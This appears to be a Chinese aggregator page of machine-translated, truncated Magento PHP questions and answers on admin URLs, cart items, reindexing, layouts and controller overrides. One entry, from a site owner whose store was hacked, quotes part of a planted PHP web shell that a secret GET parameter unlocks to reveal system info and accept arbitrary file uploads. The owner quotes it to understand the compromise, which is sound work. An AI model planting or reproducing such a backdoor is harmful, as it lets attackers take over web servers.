【php – Magento – 检查特定类别是否有效】教程文章相关的互联网学习教程文章

php – Magento2 Admin 404【代码】

当我尝试访问管理面板时,我收到错误404未找到,我通过互联网上的许多解决方案检查了这个问题,但没有任何作用. When I try to access admin panel 谢谢解决方法:在没有看到安装过程的情况下很难找到原因.但这可能对你有所帮助: >你可以reinstall your project>错误地忘了你的管理员网址;您可以从中查看/更改管理员URL 应用程序的/ etc / env.php在第5行.return array ( 'backend' => array ( 'frontName' => 'admin_q76xvk', ),>清理...

php – 在Magento中获取购物车项目的两个命令之间的差异【代码】

在Magento中,如果您需要获取/获取购物车的项目详细信息,您可以通过两种可能的方式中的任何一种方式进行操作,这将为您提供阵列中所有购物项目: – > $cartItems1 = $cart-> getQuote() – > getAllItems();> $cartItems2 = $cart-> getItems() – > getData(); 但在使用上述两种方法中的任何一种之前,您需要将购物车对象初始化为: – $cart = new Mage_Checkout_Model_Cart(); $cart->init();任何人都可以详细描述这两个选项提供...

php – Magento产品在前端不能始终如一地出现

我有Magento网站运行20000多个产品.有时它不会在前端显示产品.它说“没有符合选择的产品”,但产品仍然存在于后端网站中. 我知道我必须运行重新索引过程,每当我完成重新索引过程时,所有产品都在前端. 所以现在,我的问题是:为什么这种情况一次又一次地发生?这是我第四次遇到这个问题.我想知道这个问题的真正原因.我很害怕. 谢谢解决方法:两个最有可能的cuplrits是缓存和索引问题(当然,除非你使用的是集群数据库,在这种情况下,这可能...

php – 在Magento中显示产品所属的所有类别【代码】

我正在构思一个新的Magento网站,该网站将包含多个类别的产品.我想知道的是,我是否可以在产品详细信息页面上显示产品所在的所有类别.我知道有可能获得该类别,但是是否可以显示产品所属的所有类别的列表? 例如,衬衫可以包括在衬衫类别中,也可以包括在设计师和夏季中.理想情况下,我希望能够显示以下内容:More from: Men > Shirts Men > Designers > Barnab Hardy Men > Summer解决方法:这将为您提供所需的数据,例如类别的名...

php – Magento管理员登录重定向【代码】

使用magento,我将网站转移到新服务器,但当我尝试登录管理员时,它会继续重定向回旧域.我似乎无法让这个工作. 有没有可以解决这个问题的地方?解决方法:1)更新核心配置数据表中的基本URL和安全基本URL 2)截断core_session表 3)运行此查询:SET FOREIGN_KEY_CHECKS=0; UPDATE `core_store` SET store_id = 0 WHERE code='admin'; UPDATE `core_store_group` SET group_id = 0 WHERE name='Default'; UPDATE `core_website` SET websit...

php – Magento原始图像调整大小仅显示占位符图像【代码】

我试图让这段代码在magento 1.7.0中运行… 它只显示magento占位符图像… 如果我将“图像”更改为“small_image”,它可以正常工作 一切都设置在后端,为产品图像选择单选按钮…我已经清除了缓存… 这发生在list.phtml文件中…… 有人可以告诉我我做错了什么或为什么它不工作…我一直在搜索我找到一个解决方案3天的搜索后它没有工作…. $_item没有定义所以我得到一个非对象错误的调用… 这是answere的链接 Get base product image in ...

php – 通过magento中的电子邮件ID获取有关客户的信息【代码】

我希望通过电子邮件ID获取客户信息,因此我在控制器中创建了一个包含内容的方法:public function showAction(){$customer_email = "abc@mail.com";$customer = Mage::getModel("customer/customer");$customer->setWebsiteId(Mage::app()->getWebsite()->getId());$customer->loadByEmail($customer_email);echo $customer->getId();echo $customer->getFirstName();echo $customer->getEmail(); }但是当它运行时它返回null值,我不...

php – Magento:为不同的页面布局使用不同的页脚【代码】

我已经尝试了各种教程,但我无法让它工作. 基本上,我想在我的主页上有一个不同的页脚.我已经设置了两个页面布局,并将它们应用到了cms页面. 所以在主页布局中我指的是……<?php echo $this->getChildHtml('footer_home') ?>在所有其他页面上……<?php echo $this->getChildHtml('footer_alt') ?>很简单!然后在页面xml我修改了引用页脚的部分如下…<block type="page/html_footer" name="footer_alt" as="footer_alt" template="page...

php – Magento:如何获取不同商店视图的类别页面URL键?【代码】

我正在尝试获取不同商店视图的类别页面的页面URL密钥.基本上我在Magento安装中设置了3个商店.现在我想在我的类别页面中实现hrefhang标签.但是当我在默认存储区时,我无法访问其他商店视图的类别URL键,反之亦然. 我有类别对象,我来自,$category = Mage::registry('current_category');有任何想法吗?解决方法:看起来在不同的商店下获取类别URL的最佳方式是当前版本为make use of Magento’s Mage_Core_Model_App_Emulation.这是一个如...

php – 强制Magento无路由返回状态301而不是404【代码】

我的任务是强制所有404页面返回http状态301.我一直在网上搜索/阅读,但我找不到任何有关如何完成此操作的信息. 有没有办法更改layout.xml或模板文件中的http状态?如果没有,我应该看什么控制器?解决方法:我没有太多关注它,但404消息似乎是在这个文件中发送 – 在3个函数中: 服务器路径:/应用程序/代码/核心/法师/ CMS /控制器 我将标头从404更改为301重定向.可能不是最琐碎的解决方案,但似乎有效.**/*** Default index action (w...

我的Magento网站被黑了,这个php代码做了什么?【代码】

我刚刚在我的托管上发现了一些php文件,在php中有0.01%的知识,有人可以解释一下这段代码的作用吗?<?php if(isset($_GET["ourzr"])){ echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]"; echo"<form method=post enctype=multipart/form-data>"; echo"<input type=file name=f><input name=v type=submit id=v value=up><br>"; if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){ echo"<b>b...

php – 覆盖Magento管理控制器,适合初学者

在Magento Admin部分中,我想覆盖核心Mage的“Sales / Order / ShipmentController.php”控制器文件. 我尝试使用“from”&amp ;;重写URL. “到”标签,但是徒劳无功.我不知道实际的&正确的做法,因为我是Magento的新手. 请任何人提供一些好的基础&正确的答案,以便至少这个概念变得清晰. 另外,如果可能的话,请告诉我,控制器的实际目的是什么,前端和前端都是如此.后端? 任何帮助是极大的赞赏.解决方法:不确定你用“from”和“to”标签谈...

php – 如何遍历Magento购物车中的所有商品?【代码】

好吧,我不知道怎么做这个简单的事情.我只需循环浏览购物车中的3件商品,这样我就可以获得每件商品的商品信息 – 例如商品类别,商品名称,等等等等.我已经用谷歌搜索了一个小时,并且没有找到任何似乎是如此简单的任务的东西.获取引用,然后getAllItems()为我返回任何内容.有人有任何想法/链接? 谢谢.解决方法:你确定报价不起作用吗?以下代码应该有效:$session = Mage::getSingleton('checkout/session'); foreach ($session->getQuo...

Magento CMS页面 – 包括外部PHP脚本【代码】

我想在Magento CMS Pages中包含外部PHP脚本 例如**http://myhost/magento/custom/script.php**<?php echo "hello"; ?>Magento Page的结果应该是:“你好” 最简单的方法是什么?解决方法:最好的方法可能是通过Layout Update XML部分(在设计选项卡上).您可以为模板php文件创建新块,也可以使用Mage_Core_Block_Template.添加这个:<reference name="content"><block type="core/template" name="my_template" template="pat/to/your/...

php – Magento加入不同的表【代码】

我的Grid.php文件中有以下代码:function _prepareCollection () { $collection = Mage::getResourceModel($this->_getCollectionClass()); $collection->getSelect()->joinLeft(array('sfog' => 'sales_flat_order_grid'),'main_table.entity_id = sfog.entity_id',array('sfog.shipping_name','sfog.billing_name') ); $collection->getSelect()->joinLeft(array('sfo'=>'sales_flat_order'),'sfo.entity_id=main_table.entity_i...